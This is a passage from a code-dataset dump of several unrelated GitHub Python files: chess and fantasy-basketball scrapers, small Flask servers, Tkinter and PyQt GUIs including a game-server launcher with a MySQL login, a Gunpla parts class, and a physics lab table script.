localDf.loc[:, 'Unnamed: 3'].apply(lambda x: int(str(x)[:4]))\n ratingSum = localDf.loc[:, 'Unnamed: 3'].sum()\n totalWins = sum([x for x in pointsValues if x == 1])\n totalLosses = sum([x for x in pointsValues if x == 0])\n performance = ratingPerformance(int(numberOfGames), float(points), int(opponentsAverageRating), ratingSum, totalWins, totalLosses)\n \n playerLocalDf = pd.DataFrame(index=range(1), columns = ['Date', 'Tournment Name', 'Player Rating', 'Performance Rating', 'Opponents Average Rating', 'Number of Games', 'Points', 'Points/Games', 'DGT'])\n playerLocalDf['Date'] = tournment_date\n playerLocalDf['Tournment Name'] = tournment_name\n playerLocalDf['Player Rating'] = player_rating\n playerLocalDf['Performance Rating'] = performance\n playerLocalDf['Opponents Average Rating'] = opponentsAverageRating\n playerLocalDf['Number of Games'] = numberOfGames\n playerLocalDf['Points'] = points\n playerLocalDf['Points/Games'] = pointsRatio\n \n concat = [playerDf, playerLocalDf]\n playerDf = pd.concat(concat)\n print(playerDf)\n \nplayerDf.reset_index(inplace=True, drop=True)\nplayerDf.to_pickle(\"./\" + playerName + \".pkl\") \n\n\n\n\n# DGT Check\ndgtList = []\ndgtInfoList = []\ndgtLinkList = []\ndgtRatioList = []\n\nfor tournment in list(playerDf['Tournment Name'].values):\n print(tournment)\n text = (tournment).lower()\n \n dgt = 0\n dgtInfo = ''\n dgtLink = ''\n maxRatio = 0\n maxIndex = 0\n results = google_search(text, my_api_key, my_cse_id, num=10)\n \n if results != None:\n for result in results:\n print(result['link'])\n if 'https://www.chess.com/events/' in result['link'] or 'https://chess24.com/en/watch/live-tournaments/' in result['link'] or 'https://lichess.org/broadcast/' in result['link'] or 'https://www.chess.com/pt-BR/events/' in result['link'] or 'https://chess24.com/pt/watch/live-tournaments/' in result['link']:\n cleanedLink = result['link'].split('https://www.chess.com/events/')[-1]\n cleanedLink = result['link'].split('https://www.chess.com/pt-BR/events/')[-1]\n cleanedLink = result['link'].split('https://chess24.com/en/watch/live-tournaments/')[-1]\n cleanedLink = result['link'].split('https://chess24.com/pt/watch/live-tournaments/')[-1]\n cleanedLink = result['link'].split('https://lichess.org/broadcast/')[-1]\n cleanedLink = cleanedLink.replace(\"-\", \" \")\n ratio = lev.ratio(text,cleanedLink)\n if ratio > maxRatio:\n maxRatio = ratio\n maxIndex = results.index(result)\n \n if maxRatio > 0:\n dgt = 1\n dgtInfo = results[maxIndex]['title']\n dgtLink = results[maxIndex]['link']\n print(\"{} || {} || {}\".format(maxRatio, dgtInfo, dgtLink))\n\n \n dgtList.append(dgt)\n dgtInfoList.append(dgtInfo)\n dgtLinkList.append(dgtLink)\n dgtRatioList.append(maxRatio)\n time.sleep(1)\n\n \nplayerDf['DGT'] = dgtList\nplayerDf['DGT Search Title'] = dgtInfoList\nplayerDf['DGT Search Link'] = dgtLinkList\nplayerDf['DGT Accuracy'] = dgtRatioList\n\n \nplayerDf.to_pickle(\"./\" + playerName + \".pkl\")\n\n\n\n# Export to Google Sheets\nscope = ['https://spreadsheets.google.com/feeds']\ncreds = ServiceAccountCredentials.from_json_keyfile_name('YOUR_SERVICE_CREDENTIALS_FILE_FROM_GOOGLE_PROJECT.json', scope)\nclient = gspread.authorize(creds)\n\n# Conectando à pasta de trabalho\ngoogleSheets = client.open_by_key(\"1PP-ojHkHOHZP5EXo1PCvL0Z6DeqDZEBysYiMSIU6ARc\")\n \n# Capturando os dados da planilha\nplanilha = googleSheets.worksheet(playerName)\nplanilha.clear()\nset_with_dataframe(planilha, playerDf)\n\n\n\n#####################\nprint(\"Done! Job complete!\")\n#####################\n#####################\nfinish = datetime.now()\nprint('Demorou mas foi! O job todo demorou: {}'.format(finish - start))\n#####################\n#####################\n\n\n","repo_name":"rafaelvleite/fide_crawler","sub_path":"fide-scraper-public.py","file_name":"fide-scraper-public.py","file_ext":"py","file_size_in_byte":7544,"program_lang":"python","lang":"en","doc_type":"code","stars":94,"dataset":"github-code","pt":"72"} +{"seq_id":"5018180858","text":"def solution(lottos, win_nums):\r\n answer = []\r\n count = 0\r\n zero = 0\r\n lst = []\r\n for i in lottos:\r\n if i != 0 and i in win_nums:\r\n count += 1\r\n elif i == 0:\r\n zero += 1\r\n lst.append(count+zero)\r\n lst.append(count)\r\n \r\n for i in lst:\r\n if 7 - i >=6:\r\n i = 6\r\n answer.append(i)\r\n else:\r\n answer.append(7-i)\r\n return answer","repo_name":"songbyungsub/Programmers","sub_path":"Lv.1/Python/로또의 최고 순위와 최저 순위.py","file_name":"로또의 최고 순위와 최저 순위.py","file_ext":"py","file_size_in_byte":434,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"14609738916","text":"import logging\r\n\r\nimport time\r\n\r\nfrom requests_html import HTMLSession\r\n\r\nfrom espn.basketball.basketball_stat import BasketballStat\r\nfrom stats import Stats\r\n\r\nLOGGER = logging.getLogger(\"fantasysp.api\")\r\n\r\n\r\nclass FantasySPApi:\r\n def __init__(self):\r\n self.cache = None\r\n\r\n def page(self):\r\n if self.cache is not None:\r\n LOGGER.info(\"Using cached page\")\r\n return self.cache\r\n\r\n start_time = time.time()\r\n LOGGER.info(\"Fetching daily projections page from FantasySP\")\r\n\r\n session = HTMLSession()\r\n r = session.get(\"https://www.fantasysp.com/projections/basketball/daily/\")\r\n LOGGER.info(f\"Rendering after {time.time() - start_time:.3f} seconds\")\r\n r.html.render(timeout=20)\r\n LOGGER.info(f\"Finished after {time.time() - start_time:.3f} seconds\")\r\n self.cache = r.html\r\n return r.html\r\n\r\n def table(self):\r\n page = self.page()\r\n\r\n return next(\r\n filter(\r\n lambda elt: \"sortable\" in elt.attrs.get(\"class\", list()),\r\n page.find(\"table\"),\r\n )\r\n )\r\n\r\n def rows(self):\r\n table = self.table()\r\n return filter(\r\n lambda elt: \"projection-player\" in elt.attrs.get(\"class\", list()),\r\n table.find(\"tr\"),\r\n )\r\n\r\n def players(self):\r\n return list(map(FantasySPApi.row_to_player, self.rows()))\r\n\r\n td_class_to_stat = {\r\n \"proj-minutes\": BasketballStat.MINUTES,\r\n \"proj-ppg\": BasketballStat.POINTS,\r\n \"proj-ast\": BasketballStat.ASSISTS,\r\n \"proj-reb\": BasketballStat.REBOUNDS,\r\n \"proj-stl\": BasketballStat.STEALS,\r\n \"proj-blk\": BasketballStat.BLOCKS,\r\n \"proj-to\": BasketballStat.TURNOVERS,\r\n \"proj-threepm\": BasketballStat.THREES,\r\n \"proj-ftm\": BasketballStat.FTM,\r\n \"proj-ftper\": BasketballStat.FTPCT,\r\n \"proj-twopm\": BasketballStat.TWOS,\r\n \"proj-fgper\": BasketballStat.FGPCT,\r\n }\r\n\r\n @staticmethod\r\n def row_to_player(row):\r\n name = row.find(\"a\")[0].text\r\n tds = row.find(\"td\")\r\n s = Stats({}, BasketballStat)\r\n for td in tds:\r\n for cls in td.attrs.get(\"class\", []):\r\n stat = FantasySPApi.td_class_to_stat.get(cls)\r\n if stat:\r\n s.stat_dict[stat] = float(td.text)\r\n ft_pct = s.stat_dict[BasketballStat.FTPCT]\r\n if ft_pct > 0.0001:\r\n s.stat_dict[BasketballStat.FTA] = s.stat_dict[BasketballStat.FTM] / ft_pct * 100\r\n\r\n fg_pct = s.stat_dict[BasketballStat.FGPCT]\r\n if fg_pct > 0.0001:\r\n points_from_twos = s.stat_dict[BasketballStat.POINTS] - \\\r\n 3 * s.stat_dict[BasketballStat.THREES] - \\\r\n s.stat_dict[BasketballStat.FTM]\r\n twos = points_from_twos / 2\r\n fg_made = twos + s.stat_dict[BasketballStat.THREES]\r\n s.stat_dict[BasketballStat.FGA] = fg_made / fg_pct * 100\r\n return PlayerProjection(name, s)\r\n\r\n\r\nclass PlayerProjection:\r\n def __init__(self, name, stats):\r\n self.stats = stats\r\n self.name = name\r\n","repo_name":"zwalsh/fantasy-baseball","sub_path":"fantasysp/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":3178,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"72"} +{"seq_id":"26397138538","text":"\"\"\" Routes file.\"\"\"\nfrom flask import Flask, jsonify\nfrom .user_views import auth_bp\nfrom .intervention_views import intervention_bp\nfrom .redflag_views import redflag_bp\n\n# create app\ndef create_app():\n app = Flask(__name__)\n\n app.register_blueprint(auth_bp, url_prefix='/api/v1/auth')\n app.register_blueprint(intervention_bp, url_prefix='/api/v1')\n app.register_blueprint(redflag_bp, url_prefix='/api/v1')\n\n @app.errorhandler(404)\n def page_not_found(e):\n \"\"\" Error handler route bad requests.\"\"\"\n\n return jsonify({\n 'status': 404,\n 'data': [\n {\n 'Issue': \"You have entered an unknown URL. NOTE all urls have a 'api/v1/' prefix.\",\n 'message': 'Please do contact Derrick Sekidde for more details on this.'\n }]\n }), 404\n\n @app.errorhandler(405)\n def method_not_allowed(e):\n \"\"\" This is a route handler for wrong methods.\"\"\"\n\n return jsonify({\n \"status\": 405,\n \"error\": \"The used method is not allowed for this endpoint. Change method or contact Derrick Sekidde.\"\n }), 405\n\n return app\n","repo_name":"neelxie/ireport-api","sub_path":"app/views/app_views.py","file_name":"app_views.py","file_ext":"py","file_size_in_byte":1166,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"1541153802","text":"import tkinter as tk\nfrom tkinter import ttk\ndef funcion_click():\n respuesta = ttk.Label(ventana, text='Seleccionado el ' + numero.get())\n respuesta.grid(column=1, row=3)\n\nventana = tk.Tk()\nventana.geometry('300x100+100+100')\nventana.title(\"Python - Tkinter\")\netiqueta = ttk.Label(ventana, text=\"Selecciona un número\")\netiqueta.grid(column=0, row=0)\n# Agregar lista desplegable\nnumero = tk.StringVar()\nseleccionar_numero = ttk.Combobox(ventana, width=12, textvariable=numero,state='readonly')\n# Llenar lista desplegable\nseleccionar_numero['values'] = (1, 3, 5, 7, 11)\n# Posicionar lista desplegable\nseleccionar_numero.grid(column=0, row=1)\n# Elemento de la lista seleccionado por default\nseleccionar_numero.current(0)\naccion = ttk.Button(ventana, text=\"Ok\", command=funcion_click)\naccion.grid(row=1, column=1)\n\nventana.mainloop()","repo_name":"andrescosmemalaz/Sistema_TemperaturasGUI","sub_path":"Otros Proyectos/TKINTER - Agregar ComboBox.py","file_name":"TKINTER - Agregar ComboBox.py","file_ext":"py","file_size_in_byte":836,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"31253035013","text":"#import base64 not yet\r\nfrom multiprocessing import connection\r\nimport time\r\nfrom PyQt5 import QtCore, QtGui, QtWidgets\r\nfrom PyQt5.QtCore import Qt\r\nfrom PyQt5 import uic, QtCore, QtGui, QtWidgets\r\nfrom PyQt5.QtWidgets import *\r\nfrom PyQt5.QtCore import *\r\nfrom PyQt5.QtGui import *\r\nimport sqlite3\r\nimport mysql.connector\r\nimport os\r\nimport random\r\nfrom plyer import notification\r\n\r\n\r\nmydb = mysql.connector.connect(\r\n host=\"your host name\",\r\n user=\"your host username\",\r\n password=\"your host password\",\r\n database=\"database\",\r\n)\r\ncur = mydb.cursor()\r\n\r\nclass mainLauncher(object):\r\n def __init__(self,*args, **kwargs):\r\n super().__init__(*args, **kwargs)\r\n self.setupUi(mainLogin)\r\n \r\n def setupUi(self, Dialog):\r\n Dialog.setObjectName(\"Dialog\")\r\n Dialog.resize(850, 500)\r\n self.label = QtWidgets.QLabel(Dialog)\r\n self.label.setGeometry(QtCore.QRect(0, 0, 851, 501))\r\n self.label.setText(\"\")\r\n self.label.setPixmap(QtGui.QPixmap(\":/mainGUIphoto/mainGUIphoto.png\"))\r\n self.label.setObjectName(\"label\")\r\n self.label_2 = QtWidgets.QLabel(Dialog)\r\n self.label_2.setGeometry(QtCore.QRect(60, 50, 111, 31))\r\n self.label_2.setStyleSheet(\"font: 18pt \\\"Coolvetica Rg\\\";\\n\"\r\n\"color:white;\")\r\n self.label_2.setObjectName(\"label_2\")\r\n self.label_3 = QtWidgets.QLabel(Dialog)\r\n self.label_3.setGeometry(QtCore.QRect(180, 20, 451, 91))\r\n self.label_3.setStyleSheet(\"font: 18pt \\\"Coolvetica Rg\\\";\\n\"\r\n\"color:white;\")\r\n self.label_3.setObjectName(\"label_3\")\r\n self.label_4 = QtWidgets.QLabel(Dialog)\r\n self.label_4.setGeometry(QtCore.QRect(60, 190, 111, 31))\r\n self.label_4.setStyleSheet(\"font: 18pt \\\"Coolvetica Rg\\\";\\n\"\r\n\"color:white;\")\r\n self.label_4.setObjectName(\"label_4\")\r\n self.label_5 = QtWidgets.QLabel(Dialog)\r\n self.label_5.setGeometry(QtCore.QRect(60, 110, 761, 41))\r\n self.label_5.setStyleSheet(\"font: 18pt \\\"Coolvetica Rg\\\";\\n\"\r\n\"color:white;\")\r\n self.label_5.setObjectName(\"label_5\")\r\n self.pushButton = QtWidgets.QPushButton(Dialog)\r\n self.pushButton.setGeometry(QtCore.QRect(60, 110, 301, 51))\r\n self.pushButton.setStyleSheet(\"background-color: white;\\n\"\r\n\"color: black;\\n\"\r\n\"font-family: coolvetica;\\n\"\r\n\"font-weight: regular;\\n\"\r\n\"font-size: 15px\\n\"\r\n\"\")\r\n self.pushButton.setObjectName(\"pushButton2\")\r\n self.pushButton2 = QtWidgets.QPushButton(Dialog)\r\n self.pushButton2.setGeometry(QtCore.QRect(810, 10, 31, 31))\r\n self.pushButton2.setStyleSheet(\"font-size: 16px;\\n\"\r\n\"background-color: transparent;\\n\"\r\n\"color: white;\\n\"\r\n\"font-family: Coolvetice;\\n\"\r\n\"font-weight: Bold;\\n\"\r\n\"\")\r\n self.pushButton2.setObjectName(\"pushButton2\")\r\n self.pushButton.clicked.connect(self.loginServer)\r\n self.pushButton.clicked.connect(self.createToken)\r\n self.retranslateUi(Dialog)\r\n QtCore.QMetaObject.connectSlotsByName(Dialog)\r\n self.pushButton2.clicked.connect(self.closeProgram)\r\n \r\n \r\n def closeProgram(self):\r\n pass\r\n def createToken(self):\r\n \r\n f = open(\"temporaryFile.txt\",\"r\")\r\n a = f.readline()\r\n token = str(random.randint(1000,10000))\r\n cur.execute(\"UPDATE accounts SET loginId = (%s) WHERE username = (%s)\",(token,a))\r\n mydb.commit()\r\n self.label_4.setText(token)\r\n self.label_5.setText(\"Kodunuz verildi, belirtilen kod ile oyuna girebilirsiniz.\")\r\n self.pushButton.hide()\r\n notification.notify(\r\n title = 'Black Roleplay',\r\n message = 'Black roleplay giriş kodunuz: '+token+\" \\n10 Dakika içerisinde giriş yapmazsanız kod değişecektir. Client üzerinden takip edebilirsiniz.\",\r\n app_icon = None,\r\n timeout = 10,\r\n )\r\n \r\n def loginServer(self):\r\n os.startfile(\"mtasa://192.168.1.1\")\r\n \r\n def retranslateUi(self, Dialog):\r\n f = open(\"temporaryFile.txt\",\"r\")\r\n a = f.readline() \r\n _translate = QtCore.QCoreApplication.translate\r\n Dialog.setWindowTitle(_translate(\"Dialog\", \"Dialog\"))\r\n self.label.setWhatsThis(_translate(\"Dialog\", \"\\n\"\r\n\"\\n\"\r\n\"

\"))\r\n self.label_2.setText(_translate(\"Dialog\", \"Merhaba\"))\r\n self.label_3.setText(_translate(\"Dialog\", a))\r\n \r\n self.pushButton.setText(_translate(\"Dialog\", \"Sunucuya bağlanmak için tıkla\"))\r\n self.pushButton2.setText(_translate(\"Dialog\", \"X\"))\r\n\r\nimport guifotograflar_rc\r\n \r\n\r\nclass Ui_mainLogin(QLabel,QMainWindow,QWidget,object):\r\n \r\n \r\n def __init__(self, *args, **kwargs):\r\n super().__init__(*args, **kwargs)\r\n self.setupUi(mainLogin)\r\n \r\n \r\n def setupUi(self, mainLogin):\r\n mainLogin.setWindowFlags(Qt.WindowStaysOnTopHint | Qt.FramelessWindowHint)\r\n mainLogin.setObjectName(\"mainLogin\")\r\n mainLogin.resize(1200, 700)\r\n mainLogin.setStyleSheet(\"\\n\"\r\n\"margin: 0px;\\n\"\r\n\"padding: 0px;\\n\"\r\n\"background-color: white;\\n\"\r\n\"\\n\"\r\n\"\")\r\n self.loginImage = QtWidgets.QLabel(mainLogin)\r\n self.loginImage.setGeometry(QtCore.QRect(0, 0, 600, 700))\r\n self.loginImage.setStyleSheet(\"background-size: 500px,500px;\")\r\n self.loginImage.setObjectName(\"loginImage\")\r\n self.sizeLoginText = QtWidgets.QLabel(mainLogin)\r\n self.sizeLoginText.setGeometry(QtCore.QRect(800, 140, 211, 61))\r\n self.sizeLoginText.setStyleSheet(\"color: #29ABE2;\\n\"\r\n\"background-color: transparent;\\n\"\r\n\"font-size: 72px;\\n\"\r\n\"font-family: \\\"Nirmala UI\\\";\\n\"\r\n\"font-weight: bold;\")\r\n self.sizeLoginText.setObjectName(\"sizeLoginText\")\r\n self.cizgi = QtWidgets.QLabel(mainLogin)\r\n self.cizgi.setGeometry(QtCore.QRect(710, 320, 391, 3))\r\n self.cizgi.setStyleSheet(\"background-color: #29ABE2;\\n\"\r\n\"border: 0px;\")\r\n self.cizgi.setText(\"\")\r\n self.cizgi.setObjectName(\"cizgi\")\r\n self.cizgi_2 = QtWidgets.QLabel(mainLogin)\r\n self.cizgi_2.setGeometry(QtCore.QRect(710, 420, 391, 3))\r\n self.cizgi_2.setStyleSheet(\"background-color: #29ABE2;\\n\"\r\n\"border: 0px;\")\r\n self.cizgi_2.setText(\"\")\r\n self.cizgi_2.setObjectName(\"cizgi_2\")\r\n self.loginUsername = QtWidgets.QLineEdit(mainLogin)\r\n self.loginUsername.setGeometry(QtCore.QRect(710, 290, 391, 31))\r\n self.loginUsername.setStyleSheet(\"border: 0px, solid;\\n\"\r\n\"background-color: transparent;\\n\"\r\n\"background: transparent;\\n\"\r\n\"color: #29ABE2;\\n\"\r\n\"font-size: 16px;\\n\"\r\n\"font-family: \\\"Nirmala UI\\\";\\n\"\r\n\"font-size: semilight;\")\r\n self.loginUsername.setText(\"\")\r\n self.loginUsername.setObjectName(\"loginUsername\")\r\n self.loginPassword = QtWidgets.QLineEdit(mainLogin)\r\n self.loginPassword.setGeometry(QtCore.QRect(710, 390, 391, 31))\r\n self.loginPassword.setStyleSheet(\"border: 0px, solid;\\n\"\r\n\"background-color: transparent;\\n\"\r\n\"background: transparent;\\n\"\r\n\"color: #29ABE2;\\n\"\r\n\"font-size: 16px;\\n\"\r\n\"font-family: \\\"Nirmala UI\\\";\\n\"\r\n\"font-size: semilight;\")\r\n self.loginPassword.setText(\"\")\r\n self.loginPassword.setObjectName(\"loginPassword\")\r\n self.loginSend = QtWidgets.QPushButton(mainLogin)\r\n self.loginSend.setGeometry(QtCore.QRect(710, 460, 391, 51))\r\n self.loginSend.setStyleSheet(\"border: 0px, solid;\\n\"\r\n\"background-color: #29ABE2;\\n\"\r\n\"color: white;\\n\"\r\n\"font-size: 24px;\\n\"\r\n\"font-family: \\\"Nirmala UI\\\";\\n\"\r\n\"font-weight: bold;\")\r\n self.loginSend.setObjectName(\"loginSend\")\r\n self.metin1 = QtWidgets.QLabel(mainLogin)\r\n self.metin1.setGeometry(QtCore.QRect(720, 520, 381, 20))\r\n self.metin1.setStyleSheet(\"border: 0px, solid;\\n\"\r\n\"background-color: transparent;\\n\"\r\n\"background: transparent;\\n\"\r\n\"color: black;\\n\"\r\n\"font-size: 11px;\\n\"\r\n\"font-family: \\\"Nirmala UI\\\";\\n\"\r\n\"font-size: semilight;\")\r\n self.metin1.setObjectName(\"metin1\")\r\n self.metin2 = QtWidgets.QLabel(mainLogin)\r\n self.metin2.setGeometry(QtCore.QRect(800, 540, 201, 21))\r\n self.metin2.setStyleSheet(\"border: 0px, solid;\\n\"\r\n\"background-color: transparent;\\n\"\r\n\"background: transparent;\\n\"\r\n\"color: black;\\n\"\r\n\"font-size: 11px;\\n\"\r\n\"font-family: \\\"Nirmala UI\\\";\\n\"\r\n\"font-size: semilight;\\n\"\r\n\"text-align:center;\")\r\n self.metin2.setObjectName(\"metin2\")\r\n self.loginFailed = QtWidgets.QLabel(mainLogin)\r\n self.loginFailed.setGeometry(QtCore.QRect(790, 220, 300, 35))\r\n self.loginFailed.setStyleSheet(\"color: transparent;\\n\")\r\n self.loginFailed.setObjectName(\"loginFailed\")\r\n self.loginFailed.setHidden(True)\r\n self.loginSuccesfull = QtWidgets.QLabel(mainLogin)\r\n self.loginSuccesfull.setGeometry(QtCore.QRect(843, 220, 300, 35))\r\n self.loginSuccesfull.setStyleSheet(\"color: transparent;\\n\")\r\n self.loginSuccesfull.setHidden(True)\r\n self.loginSuccesfull.setObjectName(\"loginFailed\")\r\n self.loginToRegister = QtWidgets.QPushButton(mainLogin)\r\n self.loginToRegister.setGeometry(QtCore.QRect(960, 540, 41, 21))\r\n self.loginToRegister.setStyleSheet(\"border: 0px, solid;\\n\"\r\n\"background-color: transparent;\\n\"\r\n\"background: transparent;\\n\"\r\n\"color: #29ABE2;\\n\"\r\n\"font-size: 11px;\\n\"\r\n\"font-family: \\\"Nirmala UI\\\";\\n\"\r\n\"font-size: semilight;\")\r\n self.loginToRegister.setObjectName(\"loginToRegister\")\r\n\r\n self.retranslateUi(mainLogin)\r\n QtCore.QMetaObject.connectSlotsByName(mainLogin)\r\n self.loginSend.clicked.connect(self.failedSifirla)\r\n self.loginSend.clicked.connect(self.loginProg)\r\n \r\n\r\n def loginProg(self):\r\n \r\n username = self.loginUsername.text()\r\n password = self.loginPassword.text()\r\n cur.execute(\"SELECT username FROM accounts WHERE username = (%s)\",(username,))\r\n if cur.fetchall():\r\n cur.execute(\"SELECT password FROM accounts WHERE password = (%s)\",(password,))\r\n if cur.fetchall():\r\n self.loginSuccesfull.setHidden(False)\r\n self.loginSuccesfull.setStyleSheet(\"border: 0px, solid;\\n\"\r\n\"background-color: transparent;\\n\"\r\n\"background: transparent;\\n\"\r\n\"color: #24A824;\\n\"\r\n\"font-size: 18px;\\n\"\r\n\"font-family: \\\"Nirmala UI\\\";\\n\"\r\n\"font-weight: semilight;\\n\")\r\n time.sleep(3)\r\n cur.execute(\"SELECT username FROM accounts WHERE username = (%s) and password = (%s)\",(username,password))\r\n g = cur.fetchall()\r\n all_strings = list(map(str, g))\r\n result = ''.join(all_strings)\r\n a = result.replace(\"('\",\"\")\r\n p = a.replace(\"',)\",\"\")\r\n f = open(\"temporaryFile.txt\", \"w\")\r\n f.write(p)\r\n f.close()\r\n self.window = QtWidgets.QMainWindow()\r\n self.ui = mainLauncher()\r\n self.ui.setupUi(self.window)\r\n mainLogin.hide()\r\n self.window.show()\r\n\r\n else:\r\n self.loginFailed.setHidden(False)\r\n self.loginFailed.setStyleSheet(\"border: 0px, solid;\\n\"\r\n \"background-color: transparent;\\n\"\r\n \"background: transparent;\\n\"\r\n \"color: #DE3636;\\n\"\r\n \"font-size: 18px;\\n\"\r\n \"font-family: \\\"Nirmala UI\\\";\\n\"\r\n \"font-weight: semilight;\\n\")\r\n else:\r\n self.loginFailed.setHidden(False)\r\n self.loginFailed.setStyleSheet(\"border: 0px, solid;\\n\"\r\n \"background-color: transparent;\\n\"\r\n \"background: transparent;\\n\"\r\n \"color: #DE3636;\\n\"\r\n \"font-size: 18px;\\n\"\r\n \"font-family: \\\"Nirmala UI\\\";\\n\"\r\n \"font-weight: semilight;\\n\")\r\n \r\n def failedSifirla(self):\r\n self.loginSuccesfull.setHidden(True)\r\n self.loginFailed.setHidden(True)\r\n def retranslateUi(self, mainLogin):\r\n _translate = QtCore.QCoreApplication.translate\r\n mainLogin.setWindowTitle(_translate(\"mainLogin\", \"Dialog\"))\r\n self.loginImage.setText(_translate(\"mainLogin\", \"

\"))\r\n self.sizeLoginText.setText(_translate(\"mainLogin\", \"LOGIN\"))\r\n self.loginSend.setText(_translate(\"mainLogin\", \"Login\"))\r\n self.metin1.setText(_translate(\"mainLogin\", \"Log in now and take advantage of the opportunities XYZFD offers you.\"))\r\n self.metin2.setText(_translate(\"mainLogin\", \"If you do not have an account\"))\r\n self.loginFailed.setText(_translate(\"mainLogin\", \"Username or password wrong\"))\r\n self.loginSuccesfull.setText(_translate(\"mainLogin\", \"Login successful\"))\r\n self.loginToRegister.setText(_translate(\"mainLogin\", \"register.\"))\r\n \r\nimport fotograflar_rc\r\n\r\n\r\nif __name__ == \"__main__\":\r\n import sys\r\n app = QtWidgets.QApplication(sys.argv)\r\n mainLogin = QtWidgets.QDialog()\r\n ui = Ui_mainLogin()\r\n ui.__init__(mainLogin)\r\n mainLogin.show()\r\n sys.exit(app.exec_())\r\n\r\n\r\n","repo_name":"dejavu512/mta-launcher","sub_path":"launcher.py","file_name":"launcher.py","file_ext":"py","file_size_in_byte":13835,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"3239439502","text":"TIPOS_PARTES = (\"SHIELD\",\"WINGS\",\"GLOVES\",\"BOOTS\",\"JETPACK\",\"BODY-ARMOR\",\"LEG-ARMOR\",\"ARM-ARMOR\",\"HELMET\",\"BACKPACK\",\"BELT\",\"SHOULDER PADS\",\"ROCKET BOOTS\")\r\nPARTES_COMPATIBLES = (\"SHIELD\",\"GLOVES\",\"BOOTS\",\"BODY-ARMOR\",\"LEG-ARMOR\",\"ARM-ARMOR\",\"BELT\")\t\r\n\r\nclass Parte:\r\n\t\"\"\"Representa una parte de un Gunpla\"\"\"\r\n\t\r\n\tdef __init__ (self,peso,armadura,escudo,velocidad,energia,armamento,tipo_de_parte):\r\n\t\t\"\"\"Constructor de la clase Parte\"\"\"\r\n\t\tself.peso = peso\r\n\t\tself.armadura = armadura\r\n\t\tself.escudo = escudo\r\n\t\tself.velocidad = velocidad\r\n\t\tself.energia = energia\r\n\t\tself.armamento = armamento\r\n\t\tself.tipo_de_parte = tipo_de_parte\r\n\r\n\tdef get_peso(self):\r\n\t\t\"\"\"Devuelve el peso total de la parte. Una parte pesa \r\n\t\tlo que pesa la sumatoria de sus armas más el peso base de la parte\"\"\"\r\n\t\tarmas = self.armamento \r\n\t\tpeso_armas = 0\r\n\t\tfor arma in armas:\r\n\t\t peso_armas += arma.get_peso() \r\n\t\treturn self.peso \r\n\r\n\tdef get_armadura(self):\r\n\t\t\"\"\"Devuelve la armadura total de la parte. Una parte tiene tanta armadura\r\n\t\tcomo la sumatoria de la armadura de sus armas más la armadura base de la parte\"\"\"\r\n\t\tarmas = self.armamento\r\n\t\tarmadura_armas = 0\r\n\t\tfor arma in armas:\r\n\t\t armadura_armas += arma.get_armadura() \r\n\t\treturn self.armadura + armadura_armas\r\n\t\t\r\n\tdef get_escudo(self):\r\n\t\t\"\"\"Devuelve el escudo total de la parte. Una parte tiene tanto escudo como la \r\n\t\tsumatoria del escudo de sus armas más el escudo base de la parte\"\"\"\r\n\t\tarmas = self.armamento\r\n\t\tescudo_armas = 0\r\n\t\tfor arma in armas:\r\n\t\t escudo_armas += arma.get_escudo()\r\n\t\treturn self.escudo + escudo_armas\r\n\r\n\tdef get_velocidad(self):\r\n\t\t\"\"\"Devuelve la velocidad total de la parte. Es un valor fijo\"\"\"\r\n\t\treturn self.velocidad\r\n\r\n\tdef get_energia(self):\r\n\t\t\"\"\"Devuelve la energía total de la parte. La parte tiene tanta energía como la \r\n\t\tsumatoria de la energía de sus armas más la energía base de la parte\"\"\"\r\n\t\tarmas = self.armamento \r\n\t\tenergia_armas = 0\r\n\t\tfor arma in armas:\r\n\t\t energia_armas += arma.get_energia() \r\n\t\treturn self.energia + energia_armas\r\n\r\n\tdef get_armamento(self):\r\n\t\t\"\"\"Devuelve una lista con todas las armas adosadas a la parte\"\"\"\r\n\t\treturn self.armamento\r\n\r\n\tdef get_tipo_parte(self):\r\n\t\t\"\"\"Devuelve una cadena que representa el tipo de parte. Ej: \"Backpack\" \"\"\"\r\n\t\treturn self.tipo_de_parte\r\n\t\t\t\t \r\n","repo_name":"guidobotta/ProyectosFacultad","sub_path":"Algoritmos y Programación 1/TP3/parte.py","file_name":"parte.py","file_ext":"py","file_size_in_byte":2317,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"46255546988","text":"\"\"\"\nSimple flask server for the interface\n\"\"\"\n\nimport os\nimport json\n\nfrom flask import Flask, request, redirect, url_for\nfrom flask import render_template\nfrom distilbert import run_prediction\n\n# -----------------------------------------------------------------------------\n\napp = Flask(__name__)\n\n@app.route(\"/\", methods=['GET','POST'])\ndef hello():\n return(\"Hello from qa service!\")\n\n@app.route(\"/qa/ask\", methods=['POST'])\ndef ask():\n data = request.get_json()\n question = data['question']\n context = data['context']\n\n predictions = run_prediction([question], context)\n return predictions\n\n@app.route(\"/test\", methods=['GET','POST'])\ndef run_test():\n context = \"New Zealand (Māori: Aotearoa) is a sovereign island country in the southwestern Pacific Ocean. It has a total land area of 268,000 square kilometres (103,500 sq mi), and a population of 4.9 million. New Zealand's capital city is Wellington, and its most populous city is Auckland.\"\n question = \"What's the largest city?\"\n\n predictions = run_prediction([question], context)\n return predictions\n","repo_name":"brvijaya/qaservice","sub_path":"serve.py","file_name":"serve.py","file_ext":"py","file_size_in_byte":1090,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"30598783903","text":"import matplotlib.pyplot as plt\nfrom tabulate import tabulate\nfrom sklearn.datasets import make_regression\nfrom matplotlib import pyplot as plt\nimport numpy as np\nfrom scipy.interpolate import make_interp_spline\n\nfirst_table = [['Culoarea', 'Intensitatea', 'λ (nm)', 'x (div)']]\n\ndef addData(table, color, intensity, lambda_value, xdiv, array):\n data = [color, intensity, lambda_value, xdiv]\n table.append(data)\n array.append([lambda_value, xdiv])\n\nprint()\nprint(\"Primul tabel\")\nmain_values = []\naddData(first_table, \"rosu\", \"intens\", 623.4, 3, main_values)\naddData(first_table, 